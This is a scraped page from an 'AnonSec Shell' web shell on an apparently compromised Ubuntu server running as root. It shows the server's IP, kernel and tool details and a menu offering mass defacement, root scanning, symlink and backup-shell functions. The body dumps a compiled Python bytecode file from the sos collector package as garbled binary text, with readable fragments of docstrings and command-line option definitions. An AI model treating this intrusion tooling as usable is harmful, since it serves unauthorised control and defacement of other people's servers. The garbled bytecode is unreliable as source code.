AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/collector/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/collector/__pycache__/__init__.cpython-310.pyc
o

���bv��@s�ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
m
Z
ddlmZddl
m
Z
ddlmZddlmZddlmZddlmZdd	lmZdd
lmZmZddlmZddlmZdd
lm Z dZ!Gdd�de�Z"dS)�N)�datetime)�ThreadPoolExecutor)�getpass)�Path)�quote)�fill)�
SoSCleaner)�SosNode)�
ClusterOption�str_to_bool)�SoSComponent)�bold)�__version__z/etc/sos/groups.dcs�eZdZdZdZidd�dd�dd�dd�dd�d	d
�dd�dg�d
d�dd
�dg�dg�dg�dd�dd�dd�dd�idd�dd�dg�dd�dd�dd�d d�d!d"�d#d$�d%d�d&d�d'g�d(d�d)d�d*d�d+d�d,d��id-g�d.d�d/d�d0g�d1d�d2d�d3d�d4d�d5d�d6d�d7d�d8d�d9g�d:g�d;g�d<d�d=d��d>d?d@d
dgdddddd
dd
dA��Z�fdBdC�ZdDdE�ZedFdG��Z	edHdI��Z
edJdK��ZdLdM�ZedNdO��Z
edPdQ��Zd�dRdS�ZdTdU�ZdVdW�ZdXdY�ZdZd[�Zd\d]�Zd^d_�Zd`da�Zdbdc�Zddde�Zdfdg�Zdhdi�Zdjdk�Zdldm�Zdndo�Zdpdq�Zdrds�Zdtdu�Z dvdw�Z!dxdy�Z"dzd{�Z#d|d}�Z$d~d�Z%d�d��Z&d�d��Z'd�d��Z(d�d��Z)d�d��Z*d�d��Z+d�d��Z,d�d��Z-d�d��Z.d�d��Z/�Z0S)��SoSCollectora�
    sos collect, or SoS Collector, is the formerly standalone sos-collector
    project, brought into sos natively in 4.0 and later.

    It is meant to collect sos reports from an arbitrary number of remote
    nodes, as well as the localhost, at the same time. These nodes may be
    either user defined, defined by some clustering software, or both.

    For cluster defined lists of nodes, cluster profiles exist that not only
    define how these node lists are generated but may also influence the
    sos report command run on nodes depending upon their role within the
    cluster.

    Nodes are connected to via a 'transport' which defaults to the use of
    OpenSSH's Control Persist feature. Other transport types are available, and
    may be specifically linked to use with a certain cluster profile (or, at
    minimum, a node within a certain cluster type even if that profile is not
    used).

    sos collect may be run from either a node within the cluster that is
    capable of enumerating/discovering the other cluster nodes, or may be run
    from a user's workstation and instructed to first connect to such a node
    via the --primary option. If run in the latter manner, users will likely
    want to use the --no-local option, as by default sos collect will also
    collect an sos report locally.

    Users should expect this command to result in a tarball containing one or
    more sos report archives on the system that sos collect was executed on.
    z8Collect an sos report from multiple nodes simultaneously�all_logsF�
alloptions�allow_system_changes�become_root�case_id�chroot�auto�clean�cluster_options�cluster_typeN�container_runtime�domains�disable_parsers�enable_plugins�encrypt_key��encrypt_pass�group�image�force_pull_imageT�jobs��keywords�keyword_file�keep_binary_files�label�list_options�log_sizer�map_file� /etc/sos/cleaner/default_mapping�primary�
namespaces�nodes�no_env_vars�no_local�
nopasswd_sudo�no_pkg_check�	no_update�only_plugins�password�password_per_node�plugopts�plugin_timeout�cmd_timeout�preset�
registry_user�registry_password�registry_authfile�
save_group�since�
skip_commands�
skip_files�skip_plugins�sos_opt_line�ssh_key��rootiX)�ssh_port�ssh_user�timeout�	transport�verify�	usernames�upload�
upload_url�upload_directory�upload_user�upload_pass�
upload_method�upload_no_ssl_verify�upload_protocolcs|tt|��|||�t�d�g|_g|_d|_d|_d|_	d|_
|jj�
d�|jjj|_|j�dd�|j�d�t|jdd�t��|_zttd	d
�t�t��d�D���|_Wntym|�d�dg|_Ynw|��|��|_|jj s�z)|�!�|�"�|�#d
d�$dd�t%j&D���|�#d|j�'��|�(�WdSt)y�|�*dd�YdSty��wdS)N�?r�collectr�none�	node_list�sudo_pwrcSsg|]}|dd�qS)r%r���.0�ir\r\�8/usr/lib/python3/dist-packages/sos/collector/__init__.py�
<listcomp>�s�z)SoSCollector.__init__.<locals>.<listcomp>zkCould not get a list of IP addresses from this hostnamne. This may indicate a DNS issue in your environmentz	127.0.0.1zExecuting %s� cs��|]}|VqdS�Nr\)r^�sr\r\r`�	<genexpr>���z(SoSCollector.__init__.<locals>.<genexpr>zFound cluster profiles: %s�Exiting on user cancel�)+�superr�__init__�os�umask�client_listrZr.�	retrieved�clusterr�manifest�
components�add_sectionrX�
collect_md�	add_field�add_list�setattr�opts�socket�gethostname�hostname�list�set�getaddrinfo�ip_addrs�	Exception�	log_error�_parse_options�
load_clusters�clustersr*�parse_node_strings�parse_cluster_options�	log_debug�join�sys�argv�keys�verify_cluster_options�KeyboardInterrupt�exit)�self�parser�parsed_args�cmdline_args��	__class__r\r`rk�sR


���	
 ���zSoSCollector.__init__cCsDddl}|jj}i}|�|d�}|D]
}|d|j�||d<q|S)zmLoads all cluster types supported by the local installation for
        future comparison and/or use
        rNr��)�sos.collector.clusters�	collectorr��
_load_modules�commons)r��sos�package�supported_clustersr�rpr\r\r`r��szSoSCollector.load_clusterscCs2g}|jD]}tj�|�r|�|�||��q|S)z'Helper to import cluster and host types)�__path__rl�path�isdir�extend�_find_modules_in_path)�clsr��submod�modulesr�r\r\r`r��s
�zSoSCollector._load_modulescCsjg}tj�|�r3tt�|��D]#}|�d�sqd|vrqtj�|�\}}d||f}|�|�|��q|S)aXGiven a path and a module name, find everything that can be imported
        and then import it

            path - the filesystem path of the package
            modulename - the name of the module in the package

        E.G. a path of 'clusters', and a modulename of 'ovirt' equates to
        importing sos.collector.clusters.ovirt
        z.py�__zsos.collector.%s.%s)	rlr��exists�sorted�listdir�endswith�splitextr��_import_modules)r�r��
modulenamer��pyfile�fname�ext�modnamer\r\r`r��s
z"SoSCollector._find_modules_in_pathcCsT|�d�d}t|t�t�|g�}t�|tj�}|D]
}|ddvr'|�|�q|S)z/Import and return all found classes in a module�.�r)�SosHost�Cluster)�split�
__import__�globals�locals�inspect�
getmembers�isclass�remove)r�r��mod_short_name�moduler��modr\r\r`r��s
�zSoSCollector._import_modulesc
Cs�|jjsdSg}t|jjt�s|jjg|j_|jjD]\}dd�t|�D�}|�t|��d}d}|D]2}z&|}|||�}t�t�	|��d|vrOd|vrOWq2|�|�
d��|}Wq2tjydYq2w|t|�krv|�||dd��q||j_dS)	arParses the given --nodes option(s) to properly format the regex
        list that we use. We cannot blindly split on ',' chars since it is a
        valid regex character, so we need to scan along the given strings and
        check at each comma if we should use the preceeding string by itself
        or not, based on if there is a valid regex at that index.
        NcSsg|]
\}}|dkr|�qS)�,r\)r^r_�mr\r\r`ra�z3SoSCollector.parse_node_strings.<locals>.<listcomp>r�[�]r�r�)rxr0�
isinstancer|�	enumerate�append�len�re�compile�escape�lstrip�error)r�r0�node�idxs�start�pos�idx�regr\r\r`r��s4��zSoSCollector.parse_node_stringsc	Cs�|�dd�}|jddddd�|jddd	d�|jd
dddd
�|jddgd�dd�|jdddd�|jddddd�|jddddddd �|jd!d"td#d$�|jd%d&dd'd�|jd(d)dgd*d
�|jd+dd,d�|jd-ddd.d
�|jd/tdd0d1�|jd2tdd3d1�|jd4dd5d�|jd6gdd7d8d9�|jd:gdd;d<d9�|jd=dd>d�|�d?d@�}|jdAdBddCdDd �|jdEdFdG�|jdHdIdG�|jdJdKdLdMdNdO�|jdPddQd�|jdRddSd�|jdTdUdG�|jdVdWdXdYtdZd[�|jd\dd]d�|jd^dd_d�|jd`ddad�|jdbdcdddG�|jdedfdgtdhd$�|jdidjddkd�|jdldmdG�|jdndodpdqddrds�|jdtddud�|jdvdMdwd�|jdxddyd�|jdzdd{d�|jd|d}td~d�|jd�ddd�d
�|jd�ddd�d
�|jd�ddd�d��|jd�d�d�d��|jd�d�dG�|jd�tdd�d��|jd�dtd�d$�|jd�ddd�d
�|jd�dd�d�|jd�dd�d�|jd�dd�d�|jd�dd�d�|jd�dgd��d�d�|jd�ddd�d��|jd�dgd��d�d�|�d�d��}|jd�d�d�d�ddd�d��|jd�ddd�d�d9�|jd�d�gdd�d��|jd�dgd�d�d��|jd�dgd�d�d��|jd�dd�d�d��|jd�ddd�d�d��|jd�d�d�d�ds�|jd�d�gdd�d��dS)�NzReport Passthru Optionsz0These options control how report is run on nodesz-a�--alloptions�
store_truezEnable all sos report options)�action�help�
--all-logszCollect logs regardless of sizez--allow-system-changesFz;Allow sosreport to run commands that may alter system state)r��defaultr�z--chrootr)r�always�neverz#chroot executed commands to SYSROOT)r��choicesr�z--container-runtimerzLDefault container runtime to use for collections. 'auto' for policy control.)r�r�z-ez--enable-pluginsr�z%Enable specific plugins for sosreportz-kz--plugin-optionz
--plugoptsr9z&Plugin option as plugname.option=value)r��destr�z
--log-sizerz*Limit the size of individual logs (in MiB))r��typer�z-nz--skip-pluginszSkip these pluginsz-oz--only-pluginszRun these plugins onlyz--namespaceszDlimit number of namespaces to collect output for - 0 means unlimitedz
--no-env-varsz%Do not collect env vars in sosreportsz--plugin-timeoutz#Set the global plugin timeout value)r�r�r�z
--cmd-timeoutz$Set the global command timeout valuez--sincezbEscapes archived files older than date. This will also affect --all-logs. Format: YYYYMMDD[HHMMSS]z--skip-commandsrBzdo not execute these commands)r�r�r�r�z--skip-filesrCzdo not collect these files�--verifyz*perform pkg verification during collectionzCollector Optionsz.These options control how collect runs locallyz-bz--becomerzBecome root on the remote nodesz	--case-idzSpecify case number)r�z--cluster-typez!Specify a type of cluster profilez-cz--cluster-optionrr�zVSpecify a cluster options used by a profile and takes the form of cluster.option=value)r�r�r�z--groupz Use a predefined group JSON filez--save-groupz%Save a resulting node list to a groupz--imagez;Specify the container image to use for containerized hosts.z--force-pull-imagez--pullT)TFzDForce pull the container image even if it already exists on the host)r�r�r�r�z--registry-userzBUsername to authenticate to the registry with for pulling an imagez--registry-passwordzBPassword to authenticate to the registry with for pulling an imagez--registry-authfilezJUse this authfile to provide registry authentication when pulling an imagez-iz	--ssh-keyzSpecify an ssh keyz-jz--jobsr%z%Number of concurrent nodes to collectz-lz--list-optionsz#List options available for profilesz--labelzAssign a label to the archivesz	--primaryz	--managerz--controllerr.z.Specify a primary node for cluster enumeration)r�r�r�z--nopasswd-sudozUse passwordless sudo on nodesz--nodeszDProvide a comma delimited list of nodes, or a regex to match againstz--no-pkg-checkz^Do not run package checks. Use this with --cluster-type if there are rpm or apt issues on nodez
--no-localz&Do not collect a report from localhostz-pz
--ssh-portzSpecify SSH port for all nodes)r�r�z
--passwordz"Prompt for user password for nodesz--password-per-nodez!Prompt for password for each nodez--presetzSpecify a sos preset to use)r��requiredr�z	--sos-cmdrEz8Manually specify the commandline for sos report on nodes)r�r�z
--ssh-userz!Specify an SSH user. Default rootz	--timeoutz#Timeout for sosreport on each node.)r�r�r�z--transportz"Remote connection transport to usez--uploadz+Upload archive to a policy-default locationz--upload-urlz&Upload the archive to specified serverz--upload-directoryz$Specify upload directory for archivez
--upload-userzUsername to authenticate withz
--upload-passzPassword to authenticate withz--upload-method)r�put�postz HTTP method to use for uploadingz--upload-no-ssl-verifyz'Disable SSL verification for upload url)r�r�r�z--upload-protocol)r�https�ftp�sftpz$Manually specify the upload protocolzCleaner/Masking Optionsz7These options control how data obfuscation is performedz--cleanz	--cleanerz--maskrzObfuscate sensitive information)r�r�r�r�z--keep-binary-filesr(zGKeep unprocessable binary files in the archive instead of removing themz	--domainsrz$Additional domain names to obfuscatez--disable-parsersrzCDisable specific parsers, so that those elements are not obfuscated)r�r�r�r�z
--keywordsr&zList of keywords to obfuscatez--keyword-filer'z&Provide a file a keywords to obfuscate)r�r�r�z--no-updater5z%Do not update the default cleaner mapz
--map-filer,r-z;Provide a previously generated mapping file for obfuscationz--usernamesrNzList of usernames to obfuscate)�add_argument_group�add_argument�intr�str)r�r��sos_grp�collect_grp�cleaner_grpr\r\r`�add_parser_optionss��
�����
�
�
�
�
���
�
��
�
���
�����������
��
�����
���
���
�
����������
��
��
����

�zSoSCollector.add_parser_optionscCs\|�d�|�|j�ddddd�}|�d�|D]}|jd�d	t|�||�d
d�qdS)NzSoS Collect Detailed HelpzInformation on cluster profileszSpecific profile informationz'Information on how connections are madezSpecific transport information)zcollect.clusterszcollect.clusters.$clusterzcollect.transportszcollect.transports.$transportz8The following help sections may be of further interest:
z{:>8}{:<40}{:<30}rbF)�newline)�	set_title�add_text�__doc__�formatr
)r��section�	hsections�hsecr\r\r`�display_help�s 
����zSoSCollector.display_helpcCsn|jr|j��|r|�|�z|��Wn	tyYnw|dkr'|��|s0t�|�dSt�|�dS)a�Used to terminate and ensure all cleanup is done, setting the exit
        code as specified if required.

        :param msg:     Log the provided message as an error
        :type msg:      ``str``

        :param error:   The exit code to use when terminating
        :type error:    ``int``

        :param force:   Use os.exit() to break out of nested threads if needed
        :type force:    ``bool``
        riN)	rp�cleanupr��close_all_connectionsr�r�r�rl�_exit)r��msgr��forcer\r\r`r��s

�zSoSCollector.exitcCs@|j|jjdkr
dnd|jtt|jj�t|j��|jd�|_dS)zxFrom commandline options, defaults, etc... build a set of commons
        to hand to other collector mechanisms
        rHTF)�cmdlineopts�	need_sudo�tmpdir�hostlen�policyN)	rxrJr��maxr�r.r{rr��r�r\r\r`r�s�zSoSCollector._parse_optionsc	Cs�g}t|jjt�s|jjg|j_|jjrR|jjD]9}|�d�d}|�d�d�d�d}z
|�d�d��d}WntyEd}Ynw|�t|||j|��q||j_dS)Nr�rr��=�True)	r�rxrr|r��
IndexErrorr�r
r�)r�rx�optionrp�name�valuer\r\r`r�s ��z"SoSCollector.parse_cluster_optionscCs�|jjrB|jjD])}d}|jD]!}|j|jD]}|j|jkr/|j|kr/d}|�||�|_nqqq|sD|�d|j|jfd�dSdSdS)z+Verify that requested cluster options existFTz&Unknown cluster option provided: %s.%sr�N)	rxrr��optionsrrp�_validate_optionrr�)r��opt�match�clustrr\r\r`r�/s&
��
���	z#SoSCollector.verify_cluster_optionscCsx|jtks|j|jksd}|�||j|j|jfd�|jS|j��}|dvr4d}|�||jd�dS|dvr:dSdS)	aCChecks to make sure that the option given on the CLI is valid.
        Valid in this sense means that the type of value given matches what a
        cluster profile expects (str for str, bool for bool, etc).

        For bool options, this will also convert the string equivalent to an
        actual boolean value
        z.Invalid option type for %s. Expected %s got %sr�)�true�on�yes�false�off�nozUInvalid value for %s. Accepted values are: 'true', 'false', 'on', 'off', 'yes', 'no'.)rrrTFN)�opt_type�boolr�rr�lower)r�r��clir��valr\r\r`r
>s

zSoSCollector._validate_optioncC�|j�|�dS)z.Log info messages to both console and log fileN)�soslog�info�r�r�r\r\r`�log_infoW�zSoSCollector.log_infocCr)z.Log warn messages to both console and log fileN)r�warnrr\r\r`�log_warn[rzSoSCollector.log_warncCr)z/Log error messages to both console and log fileN)rr�rr\r\r`r�_rzSoSCollector.log_errorcCs,t��dd}d||f}|j�|�dS)z.Log debug message to both console and log filer��z[sos_collector:%s] %sN)r��stackr�debug)r�r��callerr\r\r`r�cszSoSCollector.log_debugc	sHtj�d�tj�d�t|j�D]}tj�d�||j|j��qi�|jD]/}|j|jD]&}|j��	�vr>|�|j<q/|j
D]}|�|jj
vrT�|jj
�|�qAq/q'tj�d�tj�d�dddd	d
��t��fdd�d
�D]'}�|}d�d�dd�t|j
�D��|j|j
jt|j�|j�}tj�|�qttj�d�dS)z&Display options for available clustersz;
The following clusters are supported by this installation
z@Use the short name with --cluster-type or cluster options (-c)

z {:<15} {:30}
z/
The following cluster options are available:

z {:25} {:15} {:<10} {:10} {:<}
r�zOption Name�Type�Default�Descriptioncs
�|jSrd)rp)�x��_optsr\r`�<lambda>�s
z+SoSCollector.list_options.<locals>.<lambda>��keyz" {:25} {:15} {:<10} {:<10} {:<10}
z, csrcrdr\)r^�cr\r\r`rf�rgz,SoSCollector.list_options.<locals>.<genexpr>zh
Options take the form of cluster.name=value
E.G. "ovirt.no-database=True" or "pacemaker.offline=False"
N)r��stdout�writer�r�r��cluster_namer	rr�rpr�r�r�__name__r�r�description)r�rp�_clusterrr
�_opt�optlnr\r)r`r*isJ

�

���
��zSoSCollector.list_optionscCst�|j�dS)z7Removes the temp directory and all collected sosreportsN)�shutil�rmtreer�rr\r\r`�delete_tmp_dir�rzSoSCollector.delete_tmp_dircCs�d}|jjr|d|jj7}|jjr|d|jj7}t�t��d�}ztjt_Wn	t	y1Ynwd�
dd�td�D��}d|||fS)	z(Generates a name for the tarball archivez
sos-collectorz-%sz%Y-%m-%drcss�|]	}t�tj�VqdSrd)�random�choice�string�	lowercase)r^r(r\r\r`rf���z1SoSCollector._get_archive_name.<locals>.<genexpr>�z%s-%s-%s)rxr)rr�strftime�nowr<�ascii_lowercaser=�	NameErrorr��range)r��nstr�dt�randr\r\r`�_get_archive_name�s�zSoSCollector._get_archive_namecCs&|��|_d}|jd|jd|S)zuReturns the path, including filename, of the tarball we build
        that contains the collected sosreports
        �gz�/z.tar.)rH�arc_namer�)r��comprr\r\r`�_get_archive_path�s
zSoSCollector._get_archive_pathcCs0d}d}|��D]
}|t||dd�d}q|S)N�PrF)�replace_whitespace�
)�
splitlinesr)r�r��width�_fmt�liner\r\r`�_fmt_msg�s
zSoSCollector._fmt_msgcCs"|jj}|tj�t��d|�tj�t|�g}d}|D]}tj�|�r'|}nq|dur2t	d|��|�
d|�t|d��I}t�
|�}dD]}||r`|�
d|||f�t|j|||�qF|dr|�
d	|d�|jj�|d�Wd�dSWd�dS1s�wYdS)
a�
        Attempts to load the host group specified on the command line.
        Host groups are defined via JSON files, typically saved under
        /etc/sos/groups.d/, although users can specify a full filepath
        on the commandline to point to one existing anywhere on the system

        Host groups define a list of nodes and/or regexes and optionally the
        primary and cluster-type options.
        z.config/sos/groups.d/%sNzno group definition for %szLoading host group %s�r)r.rz*Setting option '%s' to '%s' per host groupr0zAdding %s to node list)rxr!rlr�r�r�home�COLLECTOR_CONFIG_DIRr��OSErrorr��open�json�loadrwr0r�)r��grp�pathsr�r��hf�_groupr-r\r\r`�_load_group_config�s:
��

���"�zSoSCollector._load_group_configcCs�|jj|jj|jjddd�|jD�d�}t��dkr,tj�	t
��d�}tj|dd�nt
}tj�	||d�}t|d	��}t�||�Wd
�n1sMwYt�|d�|S)a
        Saves the results of this run of sos-collector to a host group file
        on the system so it can be used later on.

        The host group will save the options primary, cluster_type, and nodes
        as determined by sos-collector prior to execution of sosreports.
        rcSsg|]}|�qSr\r\�r^�nr\r\r`ra�sz1SoSCollector.write_host_group.<locals>.<listcomp>)rr.rr0z.config/sos/groups.dT)�exist_okr�wNi�)rxr@r.rprrZrl�getuidr�r�rrW�makedirsrXrZr[�dump�chmod)r��cfg�
group_pathr�r_r\r\r`�write_host_group�s	
��zSoSCollector.write_host_groupc
Cs�|j�|j�|jjs|jjs|�d�d}|j�|�	|��zV|jjs,|jjrB|jj
rB|jjsB|�d�d|jj}t
|d�|j_|jdrt|jjst|jjst|jjsj|jjsj|�d�d|jj}t
|d�|j_n
|jjst|jj|j_Wnty�|�d	d
�Ynw|jjr�|jjdks�|jjr�d}|�|d
�|�d�d|jj}t
|d�|j_d|jd<n	|�d�d|j_|jjr�z|��Wn ty�}zd|jj|f}|�|d
�WYd}~nd}~wwz|j��Wnty�|�dd
�Ynw|jj
�r|��d|j_nozNd}d}d}|jj�sOt��dk�rO|jj�sO|jj�sCd}t
|�}|dk�rB|j�|�d}d|j_d}n|j�|�d}d|j_td|j||d�|_
Wn t�yz}z|�d|�|�dd
�WYd}~nd}~ww|j�d|j
j �|j�!d�|jj"�!|j
j �|j
�#t$|jj"|j
j ��|jj%�r�|jj%dk�r�|j&d |_'n
|j&|jj%|_'|jj%|_%|j
|j'_
n|�(�|j'du�r�|jj"�s�d!}|�|d
�n|j'du�r�|jj"�r�|�d"�|j&d |_'d|_%|j�d#|j%�|j'�r4|j'|j
_'|jj)d$k�r|j'�*�|j_)|j'�+�|j'j,�r4|jj-�s4|�d%|j'j,�|j'j,|j_-|�.�|jj/�ro|jj/}z|�0�}|�d&||f�WdSt�yn}z|�1d'||f�WYd}~dSd}~wwdS)(Nz)password not specified, assuming SSH keyszisos-collector ASSUMES that SSH keys are installed on all nodes unless the --password option is provided.
z&password specified, not using SSH keysz&Provide the SSH password for user %s: )�promptr�z3non-root user specified, will request sudo passwordzQA non-root user has been provided. Provide sudo password for %s on remote nodes: z
Exiting on user cancel
rirHzkCannot become root without obtaining root password. Do not use --batch if you need to become root remotely.r�z,non-root user asking to become root remotelyz<User %s will attempt to become root. Provide root password: FzSOption to become root but ssh user is root. Ignoring request to change user on nodez%Could not load specified group %s: %s�Exiting on user cancel
Tz�Local sos report generation forcibly skipped due to lack of root privileges.
Either use --nopasswd-sudo, run as root, or do not use --batch so that you will be prompted for a password
rz8Enter local sudo password to generate local sos report: r�	localhost)�
local_sudo�
load_factsz*Unable to determine local installation: %szsUnable to determine local installation. Use the --no-local option if localhost should not be included.
Aborting...
r.r0rY�jbonzFCluster type could not be determined and no nodes provided
Aborting...zCluster type could not be determined, but --nodes is provided. Attempting to continue using JBON cluster type and the node listrrz"Updating SSH key to %s per clusterzWrote group '%s' to %szCould not save group %s: %s)2r�set_commonsr�rxr7r8r��ui_logrrUr.�batchrJrr3r[r�r�r�
root_passwordrr!rar��pre_work�connect_to_primaryr2rlrfr	rtru�addressrsr0�set_node_manifest�getattrrr�rp�determine_clusterrL�set_transport_type�setup�cluster_ssh_keyrF�	get_nodesr@rlr�)r�r��err�
can_run_localrp�skip_local_msg�gnamer�r\r\r`�prep�s�
��
��
���
�

����

��

�������






�
 ���zSoSCollector.prepc
Cs&|j�d�|js|jjs|�dd�|j�d�|jjr:|jjdur:|jjr+|jj	s:|j�d|j
d|jjf�t|j�D]}|j�d|j
d|f�q?|j�d�|jjs�z
t
d�|j�d�WdStyv|�d	d
�YdSty�}z|�t|�d�WYd}~dSd}~wwdS)zuPrints a list of nodes to collect from, if available. If no nodes
        are discovered or provided, abort.
        rzGNo nodes were detected, or nodes do not have sos installed.
Aborting...r�z1The following is a list of nodes to collect from:Nz	%-*sr�zC
Press ENTER to continue with these nodes, or press CTRL-C to quit
rhri)rtrrZr.�	connectedr�r{�localrxr2r�r�ru�inputr�r��repr)r�r��er\r\r`�
display_nodes�s2�����zSoSCollector.display_nodescs�d�_�jjr6gd�}t�fdd�|D��r ��d�d�j_nd�jt�jj�f�_��d�j�d	Sg}�jjrG|�d
t�jj���jj	rP|�d��jj
rY|�d��jjrb|�d
��jjrs|�dtt
�jj����jjr�|�dt�jj���jjr�|�dt�jj���jjdkr�|�dt�jj���jd�|��_��d�j��j�jd<�j�d�j�dS)z9Configures the sosreport command that is run on the nodeszsosreport --batch )�&�|�>�<�;c3s�|]	}|�jjvVqdSrd)rxrE)r^�frr\r`rf�r>z1SoSCollector.configure_sos_cmd.<locals>.<genexpr>zVPossible shell script found in provided sos command. Ignoring --sos-opt-line entirely.Nz%s %sz:User specified manual sosreport command. Command set to %sTz--case-id=%sr�r�r�z
--log-size=%sz-s %sz-c %srz-z %srbzInitial sos cmd set to %s�sos_cmd�initial_sos_cmd)r�rxrE�anyr rr�rr�rrrMr+r��sysrootr�compression_typer�r�rtru)r��filt�sos_optsr\rr`�configure_sos_cmd�sD

��


zSoSCollector.configure_sos_cmdc
Csnzt|jj|j�|_|j�d|jj�WdSty6}z|�d|�|�dd�WYd}~dSd}~ww)zgIf run with --primary, we will run cluster checks again that
        instead of the localhost.
        z,Connected to %s, determining cluster type...z%Failed to connect to primary node: %sz.Could not connect to primary node. Aborting...r�N)	r	rxr.r�rtrr�r�r�)r�r�r\r\r`rx�s���zSoSCollector.connect_to_primarycCs�t|j���}|j��D]`}|�|�|j|_|��rl|jj}|�d|�|D])}t	|j|j�rQ|jj}|�d|�|j|_|��rQ|�d||f�|}nq(||_
|��|_|j
|j
d<|j�d|j�dSqdS)a@This sets the cluster type and loads that cluster's cluster.

        If no cluster type is matched and no list of nodes is provided by
        the user, then we abort.

        If a list of nodes is given, this is not run, however the cluster
        can still be run if the user sets a --cluster-type manually
        z6Installation matches %s, checking for layered profilesz/Layered profile %s found. Checking installationziInstallation matches both layered profile %s and base profile %s, setting cluster type to layered profilerpzCluster type set to %sN)r|r��valuesr�r.�
check_enabledr�r2r��
issubclassrprrr�rtr)r��checksrp�cname�	remaining�rnamer\r\r`r|�s@	
����
���zSoSCollector.determine_clustercCs&|jr|j��}|�d|�|SgS)z>Collects the list of nodes from the determined cluster clusterz
Node list: %s)rrp�
_get_nodesr�)r�r0r\r\r`�get_nodes_from_clusters

z#SoSCollector.get_nodes_from_clustercCs�|j|jvr|jjr|j�|j�|jD]
}||jvr!|j�|�q|jdur?|jD]}||jjks8||jjkr>|j�|�q*ttdd�|jD���|_|�	d|j�|j
�d|j�dS)zSReduce duplicate entries of the localhost and/or primary node
        if applicableNcss�|]}|r|VqdSrdr\rbr\r\r`rf��z0SoSCollector.reduce_node_list.<locals>.<genexpr>zNode list reduced to %srZ)r{rZrxr2r�rr.r|r}r�rtrv)r�r_rcr\r\r`�reduce_node_lists

�

�zSoSCollector.reduce_node_listcCsr|jjD]2}zt�|�}t�||�rWdSWqtjy6}zd}|�||||f�WYd}~qd}~wwdS)z�Compares a discovered node name to a provided list of nodes from
        the user. If there is not a match, the node is removed from the listTz0Error comparing %s to provided node regex %s: %sNF)rxr0�fnmatch�	translater�rr�r�)r�r��regexr�r�r\r\r`�compare_node_to_regexs
� ��z"SoSCollector.compare_node_to_regexc
s�|js|jsd}|�|d�z|��}|jjr(|D]
�|���r&|j���qn||_Wn:t	yf}z.|�
d|�|�
d�|jj|_|jD]�t�fdd�dD��r[|j���qHWYd}~nd}~ww|jjr�|jjD] �t�fd	d�d
D��r}qo�|jvr�|�
d��|j���qo|js�|j
�d�d
}|jD]�|��d�d
kr�|j���q�|jjs�|j�|j
�|��ztt|jtd��}t||jd�|jd<WdSttfy�YdSw)z3 Sets the list of nodes to collect sosreports from zaCould not determine a cluster type and no list of nodes or primary node was provided.
Aborting...r�zError parsing node list: %sz#Setting node list to --nodes optionc3��|]}|�vVqdSrdr\r]�r�r\r`rf@r�z)SoSCollector.get_nodes.<locals>.<genexpr>)�*�\�?�(�)rJNc3r�rdr\r]r�r\r`rfFr�z*\?()/[]zForce adding %s to node listr�rr,r�)r.rpr�r�rxr0r�rZr�r�r�r�r�r{r��strict_node_listr�r�rr��	TypeError�
ValueError)r�r�r0r��host�	_node_maxr\r�r`r�+s^
���


����	
�
��zSoSCollector.get_nodescCs�z:t|d|j|dd�}|�|j�|jr4|j�|�|jj�	|d�|�
t|jj|d��WdS|��WdSt
yDYdSw)z�Try to connect to the node, and if we can add to the client list to
        run sosreport on

        Positional arguments
            node - a tuple specifying (address, password). If no password, set
                   to None
        rr�)r7N)r	r��set_clusterrpr�rnr�rtr0rsrzr{�
disconnectr�)r�r��clientr\r\r`�_connect_to_node[s��zSoSCollector._connect_to_nodec
Cs�d}|j�dt�|�||j�}|j�|�d}|jjsTz
t|�|j�d�WdSty;|�	dd�YdSt
yS}z
|�	|d�WYd}~dSd}~wwdS)	zmPrint the intro message and prompts for a case ID if one is not
        provided on the command line
        ahThis utility is used to collect sos reports from multiple nodes simultaneously. Remote connections are made and/or maintained to those nodes via well-known transport protocols such as SSH.

An archive of sos report tarballs collected from the nodes will be generated in %s and may be provided to an appropriate support representative.

The generated archive may contain data considered sensitive and its content should be reviewed by the originating organization before being passed to any third party.

No configuration changes will be made to the system running this utility or remote systems that it connects to.
z
sos-collector (version %s)
z,
Press ENTER to continue, or CTRL-C to quit
rrhrir�N)rtrrrUr�rxrur�r�r�r�)r��
disclaimer�	intro_msgrmr�r\r\r`�introqs ���zSoSCollector.introcCs~|jjr|��|��|��|��|��|��|��|_|j	|jd�|j
��|_|j
�
dd�|��|��dS)N)r�sos_logsi�)rxr*r�r�r�r�r�rH�archive_name�
setup_archive�archive�get_archive_path�archive_pathrgrXrr\r\r`�execute�s
zSoSCollector.executec
s�|jjr|j�|j�|j�d�|jj|jjg��fdd�|jD�}|j	j
rGg}|D]}d|j	j|df}t|�}|�|d|f�q+|}z�t
|j	j�}|j|j|dd�|jdd	�|j	jro|jdjd
kro|j�d�t|j�|_|jdkr�|�dd�n|jdkr�|jdjd
kr�|�dd�|j�d
|j|j	jf�t
|j	j�}|j|j|jdd�|jdd	�t
|j	j�}|j|j|jdd�|jdd	�Wn.ty�|jdddd�Ynty�}zd|}|j|ddd�WYd}~nd}~wwt|jd��r|j�d�|j��}	|	�r|j�|	�d}|�||j |jf�|�!�|j dk�r4|�"�}
nd}|�|d�|j	j#�rs|j$�%��ruz|j$�&|
�|j�d�WdSt�yr}z|j�'d|�WYd}~dSd}~wwdSdS)zX For each node, start a collection thread and then tar all
        collected sosreports z
Connecting to nodes...csg|]
}|�vr|df�qSrdr\rb��filtersr\r`ra�r�z(SoSCollector.collect.<locals>.<listcomp>z%Please enter the password for %s@%s: rr�)�	chunksizeT)�waitrozNo nodes connected. Aborting...z�Collection would only gather from localhost due to failure to either enumerate or connect to cluster nodes. Assuming single collection from localhost is not desired.
Aborting...z[
Beginning collection of sosreports from %s nodes, collecting a maximum of %s concurrently
rnri)r�zCould not connect to nodes: %sN�
